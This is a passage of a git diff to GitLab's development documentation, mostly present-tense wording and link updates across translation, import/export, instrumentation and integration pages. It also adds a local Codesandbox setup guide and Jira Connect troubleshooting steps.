+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Proofread Translations
@@ -147,9 +147,9 @@ of contributing translations to the GitLab project.
In the merge request description, include links to any projects you have
previously translated.
-1. Your request to become a proofreader will be considered on the merits of
+1. Your request to become a proofreader is considered on the merits of
your previous translations by [GitLab team members](https://about.gitlab.com/company/team/)
or [Core team members](https://about.gitlab.com/community/core-team/) who are fluent in
the language or current proofreaders.
- When a request is made for the first proofreader for a language and there are no [GitLab team members](https://about.gitlab.com/company/team/)
- or [Core team members](https://about.gitlab.com/community/core-team/) who speak the language, we will request links to previous translation work in other communities or projects.
+ or [Core team members](https://about.gitlab.com/community/core-team/) who speak the language, we shall request links to previous translation work in other communities or projects.
diff --git a/doc/development/i18n/translation.md b/doc/development/i18n/translation.md
index 128bacfda97..25dc854d2a3 100644
--- a/doc/development/i18n/translation.md
+++ b/doc/development/i18n/translation.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Translating GitLab
@@ -23,7 +23,7 @@ You may create a new account or use any of their supported sign in services.
GitLab is being translated into many languages.
1. Select the language you would like to contribute translations to by clicking the flag
-1. You will see a list of files and folders.
+1. Next, you can view list of files and folders.
Click `gitlab.pot` to open the translation editor.
### Translation Editor
@@ -34,7 +34,7 @@ The online translation editor is the easiest way to contribute translations.
1. Strings for translation are listed in the left panel
1. Translations are entered into the central panel.
- Multiple translations will be required for strings that contains plurals.
+ Multiple translations are required for strings that contains plurals.
The string to be translated is shown above with glossary terms highlighted.
If the string to be translated is not clear, you can 'Request Context'
@@ -79,7 +79,7 @@ determining a suitable level of formality.
### Inclusive language
-[Diversity](https://about.gitlab.com/handbook/values/#diversity) is one of GitLab's values.
+[Diversity](https://about.gitlab.com/handbook/values/#diversity) is a GitLab value.
We ask you to avoid translations which exclude people based on their gender or
ethnicity.
In languages which distinguish between a male and female form, use both or
@@ -100,7 +100,7 @@ To propose additions to the glossary please
### Inclusive language in French
<!-- vale gitlab.Spelling = NO -->
-In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000036068906&categorieLien=id)).
+In French, the "écriture inclusive" is now over (see on [Legifrance](https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000036068906/)).
So, to include both genders, write “Utilisateurs et utilisatrices†instead of “Utilisateur·rice·sâ€.
When space is missing, the male gender should be used alone.
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/development/i18n_guide.md b/doc/development/i18n_guide.md
index e588b47e203..ddc91f9308e 100644
--- a/doc/development/i18n_guide.md
+++ b/doc/development/i18n_guide.md
@@ -3,3 +3,6 @@ redirect_to: 'i18n/index.md'
---
This document was moved to [another location](i18n/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/image_scaling.md b/doc/development/image_scaling.md
index 05f44209bc4..d447b6baf57 100644
--- a/doc/development/image_scaling.md
+++ b/doc/development/image_scaling.md
@@ -1,12 +1,12 @@
---
stage: Enablement
group: Memory
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Image scaling guide
-This section contains a brief overview of GitLab's image scaler and how to work with it.
+This section contains a brief overview of the GitLab image scaler and how to work with it.
For a general introduction to the history of image scaling at GitLab, you might be interested in
[this Unfiltered blog post](https://about.gitlab.com/blog/2020/11/02/scaling-down-how-we-prototyped-an-image-scaler-at-gitlab/).
diff --git a/doc/development/img/bulk_imports_overview_v13_7.png b/doc/development/img/bulk_imports_overview_v13_7.png
new file mode 100644
index 00000000000..25c8685c390
--- /dev/null
+++ b/doc/development/img/bulk_imports_overview_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_bad_index_v13_7.png b/doc/development/img/each_batch_users_table_bad_index_v13_7.png
new file mode 100644
index 00000000000..dad3f37566a
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_bad_index_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_filter_v13_7.png b/doc/development/img/each_batch_users_table_filter_v13_7.png
new file mode 100644
index 00000000000..79fa1cdaf55
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_filter_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_filtered_index_v13_7.png b/doc/development/img/each_batch_users_table_filtered_index_v13_7.png
new file mode 100644
index 00000000000..4fbe186ef28
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_filtered_index_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_good_index_v13_7.png b/doc/development/img/each_batch_users_table_good_index_v13_7.png
new file mode 100644
index 00000000000..cae01d5bee8
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_good_index_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_iteration_1_v13_7.png b/doc/development/img/each_batch_users_table_iteration_1_v13_7.png
new file mode 100644
index 00000000000..3dac195e8db
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_iteration_1_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_iteration_2_v13_7.png b/doc/development/img/each_batch_users_table_iteration_2_v13_7.png
new file mode 100644
index 00000000000..c0cc82f14c6
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_iteration_2_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_iteration_3_v13_7.png b/doc/development/img/each_batch_users_table_iteration_3_v13_7.png
new file mode 100644
index 00000000000..c032924d3d7
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_iteration_3_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_iteration_4_v13_7.png b/doc/development/img/each_batch_users_table_iteration_4_v13_7.png
new file mode 100644
index 00000000000..9ebd931d194
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_iteration_4_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_iteration_5_v13_7.png b/doc/development/img/each_batch_users_table_iteration_5_v13_7.png
new file mode 100644
index 00000000000..3a5baeadaaf
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_iteration_5_v13_7.png
Binary files differ
diff --git a/doc/development/img/each_batch_users_table_v13_7.png b/doc/development/img/each_batch_users_table_v13_7.png
new file mode 100644
index 00000000000..2e8b3fdff80
--- /dev/null
+++ b/doc/development/img/each_batch_users_table_v13_7.png
Binary files differ
diff --git a/doc/development/import_export.md b/doc/development/import_export.md
index a73144abce6..fd795880d2d 100644
--- a/doc/development/import_export.md
+++ b/doc/development/import_export.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import/Export development documentation
@@ -42,7 +42,7 @@ SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS = 3000000
SIDEKIQ_MEMORY_KILLER_GRACE_TIME = 900
```
-An import status `started`, and the following Sidekiq logs will signal a memory issue:
+An import status `started`, and the following Sidekiq logs signal a memory issue:
```shell
WARN: Work still in progress <struct with JID>
@@ -218,7 +218,7 @@ for compatibility when importing and exporting projects.
### When to bump the version up
-We will have to bump the version if we rename model/columns or perform any format
+If we rename model/columns or perform any format, we need to bump the version
modifications in the JSON structure or the file structure of the archive file.
We do not need to bump the version up in any of the following cases:
@@ -227,7 +227,7 @@ We do not need to bump the version up in any of the following cases:
- Remove a column or model (unless there is a DB constraint)
- Export new things (such as a new type of upload)
-Every time we bump the version, the integration specs will fail and can be fixed with:
+Every time we bump the version, the integration specs fail and can be fixed with:
```shell
bundle exec rake gitlab:import_export:bump_version
@@ -355,7 +355,7 @@ The tools to generate the NDJSON tree from the human-readable JSON files live in
**Please use `legacy-project-json-to-ndjson.sh` to generate the NDJSON tree.**
-The NDJSON tree will look like this:
+The NDJSON tree looks like:
```shell
tree
@@ -389,7 +389,7 @@ tree
**Please use `legacy-group-json-to-ndjson.rb` to generate the NDJSON tree.**
-The NDJSON tree will look like this:
+The NDJSON tree looks like this:
```shell
tree
@@ -413,5 +413,5 @@ tree
└── 4352.json
```
-CAUTION: **Caution:**
+WARNING:
When updating these fixtures, please ensure you update both `json` files and `tree` folder, as the tests apply to both.
diff --git a/doc/development/import_project.md b/doc/development/import_project.md
index 8b27b7d28a5..dfe6153ad45 100644
--- a/doc/development/import_project.md
+++ b/doc/development/import_project.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Test Import Project
@@ -23,13 +23,13 @@ The first option is to simply [import the Project tarball file via the GitLab UI
It should take up to 15 minutes for the project to fully import. You can head to the project's main page for the current status.
-This method ignores all the errors silently (including the ones related to `GITALY_DISABLE_REQUEST_LIMITS`) and is used by GitLab's users. For development and testing, check the other methods below.
+This method ignores all the errors silently (including the ones related to `GITALY_DISABLE_REQUEST_LIMITS`) and is used by GitLab users. For development and testing, check the other methods below.
### Importing via the `import-project` script
A convenient script, [`bin/import-project`](https://gitlab.com/gitlab-org/quality/performance/blob/master/bin/import-project), is provided with [performance](https://gitlab.com/gitlab-org/quality/performance) project to import the Project tarball into a GitLab environment via API from the terminal.
-Note that to use the script, it will require some preparation if you haven't done so already:
+Note that to use the script, it requires some preparation if you haven't done so already:
1. First, set up [`Ruby`](https://www.ruby-lang.org/en/documentation/installation/) and [`Ruby Bundler`](https://bundler.io) if they aren't already available on the machine.
1. Next, install the required Ruby Gems via Bundler with `bundle install`.
@@ -40,7 +40,7 @@ For details how to use `bin/import-project`, run:
bin/import-project --help
```
-The process should take up to 15 minutes for the project to import fully. The script will keep checking periodically for the status and exit once import has completed.
+The process should take up to 15 minutes for the project to import fully. The script checks the status periodically and exits after the import has completed.
### Importing via GitHub
@@ -49,7 +49,7 @@ There is also an option to [import the project via GitHub](../user/project/impor
1. Create the group `qa-perf-testing`
1. Import the GitLab FOSS repository that's [mirrored on GitHub](https://github.com/gitlabhq/gitlabhq) into the group via the UI.
-This method will take longer to import than the other methods and will depend on several factors. It's recommended to use the other methods.
+This method takes longer to import than the other methods and depends on several factors. It's recommended to use the other methods.
### Importing via a Rake task
@@ -94,7 +94,7 @@ The `namespace_path` does not exist.
For example, one of the groups or subgroups is mistyped or missing
or you've specified the project name in the path.
-The task will only create the project.
+The task only creates the project.
If you want to import it to a new group or subgroup then create it first.
##### `Exception: No such file or directory @ rb_sysopen - (filename)`
@@ -118,8 +118,8 @@ with '-', end in '.git' or end in '.atom'
The project name specified in `project_path` is not valid for one of the specified reasons.
-Only put the project name in `project_path`. If, for example, you put a path of subgroups in there
-it will fail with this error as `/` is not a valid character in a project name.
+Only put the project name in `project_path`. For example, if you provide a path of subgroups
+it fails with this error as `/` is not a valid character in a project name.
##### `Name has already been taken and Path has already been taken`
@@ -190,7 +190,7 @@ For Performance testing, we should:
- Count the number of executed SQL queries during the restore.
- Observe the number of GC cycles happening.
-You can use this snippet: `https://gitlab.com/gitlab-org/gitlab/snippets/1924954` (must be logged in), which will restore the project, and measure the execution time of `Project::TreeRestorer`, number of SQL queries and number of GC cycles happening.
+You can use this snippet: `https://gitlab.com/gitlab-org/gitlab/snippets/1924954` (must be logged in), which restores the project, and measures the execution time of `Project::TreeRestorer`, number of SQL queries and number of GC cycles happening.
You can execute the script from the `gdk/gitlab` directory like this:
@@ -200,7 +200,7 @@ bundle exec rails r /path_to_sript/script.rb project_name /path_to_extracted_pr
## Troubleshooting
-In this section we'll detail any known issues we've seen when trying to import a project and how to manage them.
+This section details known issues we've seen when trying to import a project and how to manage them.
### Gitaly calls error when importing
diff --git a/doc/development/insert_into_tables_in_batches.md b/doc/development/insert_into_tables_in_batches.md
index 5fe37a95b59..cfa0c862471 100644
--- a/doc/development/insert_into_tables_in_batches.md
+++ b/doc/development/insert_into_tables_in_batches.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: "Sometimes it is necessary to store large amounts of records at once, which can be inefficient
when iterating collections and performing individual `save`s. With the arrival of `insert_all`
in Rails 6, which operates at the row level (that is, using `Hash`es), GitLab has added a set
@@ -101,7 +101,7 @@ performance impact this might have on your code. There is a trade-off between th
### Handling duplicate records
-NOTE: **Note:**
+NOTE:
This parameter applies only to `bulk_insert!`. If you intend to update existing
records, use `bulk_upsert!` instead.
diff --git a/doc/development/instrumentation.md b/doc/development/instrumentation.md
index bdbcd52eb61..8fb7f29c86c 100644
--- a/doc/development/instrumentation.md
+++ b/doc/development/instrumentation.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Instrumenting Ruby code
@@ -11,7 +11,7 @@ blocks of Ruby code. Method instrumentation is the primary form of
instrumentation with block-based instrumentation only being used when we want to
drill down to specific regions of code within a method.
-Please refer to [Product Analytics](product_analytics/index.md) if you are tracking product usage patterns.
+Please refer to [Product Analytics](https://about.gitlab.com/handbook/product/product-analytics-guide/) if you are tracking product usage patterns.
## Instrumenting Methods
@@ -19,13 +19,14 @@ Instrumenting methods is done by using the `Gitlab::Metrics::Instrumentation`
module. This module offers a few different methods that can be used to
instrument code:
-- `instrument_method`: instruments a single class method.
-- `instrument_instance_method`: instruments a single instance method.
-- `instrument_class_hierarchy`: given a Class this method will recursively
- instrument all sub-classes (both class and instance methods).
-- `instrument_methods`: instruments all public and private class methods of a Module.
-- `instrument_instance_methods`: instruments all public and private instance methods of a
+- `instrument_method`: Instruments a single class method.
+- `instrument_instance_method`: Instruments a single instance method.
+- `instrument_class_hierarchy`: Given a Class, this method recursively
+ instruments all sub-classes (both class and instance methods).
+- `instrument_methods`: Instruments all public and private class methods of a
Module.
+- `instrument_instance_methods`: Instruments all public and private instance
+ methods of a Module.
To remove the need for typing the full `Gitlab::Metrics::Instrumentation`
namespace you can use the `configure` class method. This method simply yields
@@ -91,7 +92,7 @@ Ruby code. In case of the above snippet you'd run the following:
- `$ Banzai::Renderer.render`
-This will print out something along the lines of:
+This prints a result similar to:
```plaintext
From: /path/to/your/gitlab/lib/gitlab/metrics/instrumentation.rb @ line 148:
@@ -131,7 +132,7 @@ Three values are measured for a block:
Both the real and CPU timings are measured in milliseconds.
-Multiple calls to the same block will result in the final values being the sum
+Multiple calls to the same block results in the final values being the sum
of all individual values. Take this code for example:
```ruby
@@ -142,7 +143,7 @@ of all individual values. Take this code for example:
end
```
-Here the final value of `sleep_real_time` will be `3`, _not_ `1`.
+Here, the final value of `sleep_real_time` is `3`, and not `1`.
## Tracking Custom Events
diff --git a/doc/development/integrations/codesandbox.md b/doc/development/integrations/codesandbox.md
new file mode 100644
index 00000000000..1641f4656a0
--- /dev/null
+++ b/doc/development/integrations/codesandbox.md
@@ -0,0 +1,140 @@
+# Set up local Codesandbox development environment
+
+This guide walks through setting up a local [Codesandbox repository](https://github.com/codesandbox/codesandbox-client) and integrating it with a local GitLab instance. Codesandbox
+is used to power the Web IDE's [Live Preview feature](../../user/project/web_ide/index.md#live-preview). Having a local Codesandbox setup is useful for debugging upstream issues or
+creating upstream contributions like [this one](https://github.com/codesandbox/codesandbox-client/pull/5137).
+
+## Initial setup
+
+Before using Codesandbox with your local GitLab instance, you must:
+
+1. Enable HTTPS on your GDK. Codesandbox uses Service Workers that require `https`.
+ Follow the GDK [NGINX configuration instructions](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/nginx.md) to enable HTTPS for GDK.
+1. Clone the [`codesandbox-client` project](https://github.com/codesandbox/codesandbox-client)
+ locally. If you plan on contributing upstream, you might want to fork and clone first.
+1. (Optional) Use correct `python` and `nodejs` versions. Otherwise, `yarn` may fail to
+ install or build some packages. If you're using `asdf` you can run the following commands:
+
+ ```shell
+ asdf local nodejs 10.14.2
+ asdf local python 2.7.18
+ ```
+
+1. Run the following commands in the `codesandbox-client` project checkout:
+
+ ```shell
+ # This might be necessary for the `prepublishOnly` job that is run later
+ yarn global add lerna
+
+ # Install packages
+ yarn
+ ```
+
+ You can run `yarn build:clean` to clean up the build assets.
+
+## Use local GitLab instance with local Codesandbox
+
+GitLab integrates with two parts of Codesandbox:
+
+- An NPM package called `smooshpack` (called `sandpack` in the `codesandbox-client` project).
+ This exposes an entrypoint for us to kick off Codesandbox's bundler.
+- A server that houses Codesandbox assets for bundling and previewing. This is hosted
+ on a separate server for security.
+
+Each time you want to run GitLab and Codesandbox together, you need to perform the
+steps in the following sections.
+
+### Use local `smooshpack` for GitLab
+
+GitLab usually satisfies its `smooshpack` dependency with a remote module, but we want
+to use a locally-built module. To build and use a local `smooshpack` module:
+
+1. In the `codesandbox-client` project directory, run:
+
+ ```shell
+ cd standalone-packages/sandpack
+ yarn link
+
+ # (Optional) you might want to start a development build
+ yarn run start
+ ```
+
+ Now, in the GitLab project, you can run `yarn link "smooshpack"`. `yarn` looks
+ for `smooshpack` **on disk** as opposed to the one hosted remotely.
+
+1. In the `gitlab` project directory, run:
+
+ ```shell
+ # Remove and reinstall node_modules just to be safe
+ rm -rf node_modules
+ yarn install
+
+ # Use the "smooshpack" package on disk
+ yarn link "smooshpack"
+ ```
+
+### Fix possible GDK webpack problem
+
+`webpack` in GDK can fail to find packages inside a linked package. This step can help
+you avoid `webpack` breaking with messages saying that it can't resolve packages from
+`smooshpack/dist/sandpack.es5.js`.
+
+In the `codesandbox-client` project directory, run:
+
+```shell
+cd standalone-packages
+
+mkdir node_modules
+ln -s $PATH_TO_LOCAL_GITLAB/node_modules/core-js ./node_modules/core-js
+```
+
+### Start building codesandbox app assets
+
+In the `codesandbox-client` project directory:
+
+```shell
+cd packages/app
+
+yarn start:sandpack-sandbox
+```
+
+### Create HTTPS proxy for Codesandbox `sandpack` assets
+
+Because we need `https`, we need to create a proxy to the webpack server. We can use
+[`http-server`](https://www.npmjs.com/package/http-server), which can do this proxying
+out of the box:
+
+```shell
+npx http-server --proxy http://localhost:3000 -S -C $PATH_TO_CERT_PEM -K $PATH_TO_KEY_PEM -p 8044 -d false
+```
+
+### Update `bundler_url` setting in GitLab
+
+We need to update our `application_setting_implementation.rb` to point to the server that hosts the
+Codesandbox `sandpack` assets. For instance, if these assets are hosted by a server at `https://sandpack.local:8044`:
+
+```patch
+diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
+index 6eed627b502..1824669e881 100644
+--- a/app/models/application_setting_implementation.rb
++++ b/app/models/application_setting_implementation.rb
+@@ -391,7 +391,7 @@ def static_objects_external_storage_enabled?
+ # This will eventually be configurable
+ # https://gitlab.com/gitlab-org/gitlab/issues/208161
+ def web_ide_clientside_preview_bundler_url
+- 'https://sandbox-prod.gitlab-static.net'
++ 'https://sandpack.local:8044'
+ end
+
+ private
+
+```
+
+NOTE:
+You can apply this patch by copying it to your clipboard and running `pbpaste | git apply`.
+
+You'll might want to restart the GitLab Rails server after making this change:
+
+```shell
+gdk restart rails-web
+```
diff --git a/doc/development/integrations/img/copy_cookies.png b/doc/development/integrations/img/copy_cookies.png
new file mode 100644
index 00000000000..21575987173
--- /dev/null
+++ b/doc/development/integrations/img/copy_cookies.png
Binary files differ
diff --git a/doc/development/integrations/img/copy_curl.png b/doc/development/integrations/img/copy_curl.png
new file mode 100644
index 00000000000..9fa871efbd5
--- /dev/null
+++ b/doc/development/integrations/img/copy_curl.png
Binary files differ
diff --git a/doc/development/integrations/example_vuln.png b/doc/development/integrations/img/example_vuln.png
index bbfeb3c805f..bbfeb3c805f 100644
--- a/doc/development/integrations/example_vuln.png
+++ b/doc/development/integrations/img/example_vuln.png
Binary files differ
diff --git a/doc/development/integrations/jenkins.md b/doc/development/integrations/jenkins.md
index d81dee94f17..c87b15e192a 100644
--- a/doc/development/integrations/jenkins.md
+++ b/doc/development/integrations/jenkins.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# How to run Jenkins in development environment (on macOS) **(STARTER)**
@@ -56,7 +56,8 @@ For more details, see [GitLab documentation about Jenkins CI](../../integration/
## Configure Jenkins Project
-Set up the Jenkins project you're going to run your build on. A **Freestyle** project is the easiest option because the Jenkins plugin will update the build status on GitLab. In a **Pipeline** project, updating the status on GitLab needs to be configured in a script.
+Set up the Jenkins project to run your build on. A **Freestyle** project is the easiest
+option because the Jenkins plugin updates the build status on GitLab. In a **Pipeline** project, updating the status on GitLab needs to be configured in a script.
1. On your Jenkins instance, go to **New Item**.
1. Pick a name, choose **Freestyle** or **Pipeline** and click **ok**.
@@ -97,4 +98,5 @@ To activate the Jenkins service you must have a Starter subscription or higher.
## Test your setup
-Make a change in your repository and open an MR. In your Jenkins project it should have triggered a new build and on your MR, there should be a widget saying **Pipeline #NUMBER passed**. It will also include a link to your Jenkins build.
+Make a change in your repository and open an MR. In your Jenkins project it should have triggered a new build and on your MR, there should be a widget saying **Pipeline #NUMBER passed**.
+It should also include a link to your Jenkins build.
diff --git a/doc/development/integrations/jira_connect.md b/doc/development/integrations/jira_connect.md
index 66a93f8c947..408b0e6068e 100644
--- a/doc/development/integrations/jira_connect.md
+++ b/doc/development/integrations/jira_connect.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Set up a development environment
@@ -47,3 +47,37 @@ To install the app in Jira:
You can also click **Getting Started** to open the configuration page rendered from your GitLab instance.
_Note that any changes to the app descriptor requires you to uninstall then reinstall the app._
+
+### Troubleshooting
+
+If the app install failed, you might need to delete `jira_connect_installations` from your database.
+
+1. Open the [database console](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/postgresql.md#access-postgresql).
+1. Run `TRUNCATE TABLE jira_connect_installations CASCADE;`.
+
+## Add a namespace
+
+To add a [namespace](../../user/group/index.md#namespaces) to Jira:
+
+1. Make sure you are logged in on your GitLab development instance.
+1. On the GitLab app page in Jira, click **Get started**.
+1. Open your browser's developer tools and navigate to the **Network** tab.
+1. Try to add the namespace in Jira.
+1. If the request fails with 401 "not authorized", copy the request as a cURL command
+ and paste it in your terminal.
+
+ ![Example Vulnerability](img/copy_curl.png)
+
+1. Go to your development instance (usually at: <http://localhost:3000>), open developer
+ tools, navigate to the Network tab and reload the page.
+1. Copy all cookies from the first request.
+
+ ![Example Vulnerability](img/copy_cookies.png)
+
+1. Append the cookies to the cURL command in your terminal:
+ `--cookies "<cookies from the request>"`.
+1. Submit the cURL request.
+1. If the response is `{"success":true}`, the namespace was added.
+1. Append the cookies to the cURL command in your terminal `--cookies "PASTE COOKIES HERE"`.
+1. Submit the cURL request.
+1. If the response is `{"success":true}` the namespace was added.
diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md
index 9bb92709d54..fb9d894d203 100644
--- a/doc/development/integrations/secure.md
+++ b/doc/development/integrations/secure.md
@@ -1,7 +1,7 @@
---
stage: Protect
group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Security scanner integration
@@ -82,9 +82,9 @@ mysec_sast:
sast: gl-sast-report.json
```
-Note that `gl-sast-report.json` is an example file path but any other file name can be used. See
+Note that `gl-sast-report.json` is an example file path but any other filename can be used. See
[the Output file section](#output-file) for more details. It's processed as a SAST report because
-it's declared under the `reports:sast` key in the job definition, not because of the file name.
+it's declared under the `reports:sast` key in the job definition, not because of the filename.
### Policies
@@ -207,17 +207,17 @@ given by the `CI_PROJECT_DIR` environment variable.
It is recommended to name the output file after the type of scanning, and to use `gl-` as a prefix.
Since all Secure reports are JSON files, it is recommended to use `.json` as a file extension.
-For instance, a suggested file name for a Dependency Scanning report is `gl-dependency-scanning.json`.
+For instance, a suggested filename for a Dependency Scanning report is `gl-dependency-scanning.json`.
The [`artifacts:reports`](../../ci/pipelines/job_artifacts.md#artifactsreports) keyword
of the job definition must be consistent with the file path where the Security report is written.
For instance, if a Dependency Scanning analyzer writes its report to the CI project directory,
-and if this report file name is `depscan.json`,
+and if this report filename is `depscan.json`,
then `artifacts:reports:dependency_scanning` must be set to `depscan.json`.
### Exit code
-Following the POSIX exit code standard, the scanner will exit with 0 for success and any number from 1 to 255 for anything else.
+Following the POSIX exit code standard, the scanner exits with 0 for success and any number from 1 to 255 for anything else.
Success also includes the case when vulnerabilities are found.
When executing a scanning job using the [Docker-in-Docker privileged mode](../../user/application_security/sast/index.md#requirements),
@@ -324,7 +324,7 @@ whereas the `message` may repeat the location.
As a visual example, this screenshot highlights where these fields are used when viewing a
vulnerability as part of a pipeline view.
-![Example Vulnerability](example_vuln.png)
+![Example Vulnerability](img/example_vuln.png)
For instance, a `message` for a vulnerability
reported by Dependency Scanning gives information on the vulnerable dependency,
@@ -397,7 +397,9 @@ Not all vulnerabilities have CVEs, and a CVE can be identified multiple times. A
isn't a stable identifier and you shouldn't assume it as such when tracking vulnerabilities.
The maximum number of identifiers for a vulnerability is set as 20. If a vulnerability has more than 20 identifiers,
-the system will save only the first 20 of them.
+the system saves only the first 20 of them. Note that vulnerabilities in the [Pipeline
+Security](../../user/application_security/security_dashboard/#pipeline-security)
+tab do not enforce this limit and all identifiers present in the report artifact are displayed.
### Location
diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md
index 52d10f0bd3c..80f632639ca 100644
--- a/doc/development/integrations/secure_partner_integration.md
+++ b/doc/development/integrations/secure_partner_integration.md
@@ -1,13 +1,13 @@
---
stage: Secure
group: Static Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Secure Partner Integration - Onboarding Process
If you want to integrate your product with the [Secure Stage](https://about.gitlab.com/direction/secure/),
-this page will help you understand the developer workflow GitLab intends for
+this page describes the developer workflow GitLab intends for
our users to follow with regards to security results. These should be used as
guidelines so you can build an integration that fits with the workflow GitLab
users are already familiar with.
@@ -19,7 +19,7 @@ integration as well as linking to more detailed resources for how to do so.
## Integration Tiers
-GitLab's security offerings are designed for GitLab Gold and GitLab Ultimate users, and the
+The security offerings in GitLab are designed for GitLab Gold and GitLab Ultimate users, and the
[DevSecOps](https://about.gitlab.com/handbook/use-cases/#4-devsecops-shift-left-security)
use case. All the features are in those tiers. This includes the APIs and standard reporting
framework needed to provide a consistent experience for users to easily bring their preferred
@@ -29,7 +29,7 @@ tiers so that we can provide the most value to our mutual customers.
## What is the GitLab Developer Workflow?
This workflow is how GitLab users interact with our product and expect it to
-function. Understanding how users use GitLab today will help you choose the
+function. Understanding how users use GitLab today helps you choose the
best place to integrate your own product and its results into GitLab.
- Developers want to write code without using a new tool to consume results
@@ -99,9 +99,9 @@ and complete an integration with the Secure stage.
- In the [Security Dashboard](../../user/application_security/security_dashboard/index.md) ([Dashboard data flow](https://gitlab.com/snippets/1910005#project-and-group-dashboards)).
1. Optional: Provide a way to interact with results as Vulnerabilities:
- Users can interact with the findings from your artifact within their workflow. They can dismiss the findings or accept them and create a backlog issue.
- - To automatically create issues without user interaction, use the [issue API](../../api/issues.md). This will be replaced by [Standalone Vulnerabilities](https://gitlab.com/groups/gitlab-org/-/epics/634) in the future.
+ - To automatically create issues without user interaction, use the [issue API](../../api/issues.md).
1. Optional: Provide auto-remediation steps:
- - If you specified `remediations` in your artifact, it is proposed through our [auto-remediation](../../user/application_security/index.md#automatic-remediation-for-vulnerabilities)
+ - If you specified `remediations` in your artifact, it is proposed through our [automatic remediation](../../user/application_security/index.md#automatic-remediation-for-vulnerabilities)
interface.
1. Demo the integration to GitLab:
- After you have tested and are ready to demo your integration please
@@ -112,7 +112,7 @@ and complete an integration with the Secure stage.
to support your go-to-market as appropriate.
- Examples of supported marketing could include being listed on our [Security Partner page](https://about.gitlab.com/partners/#security),
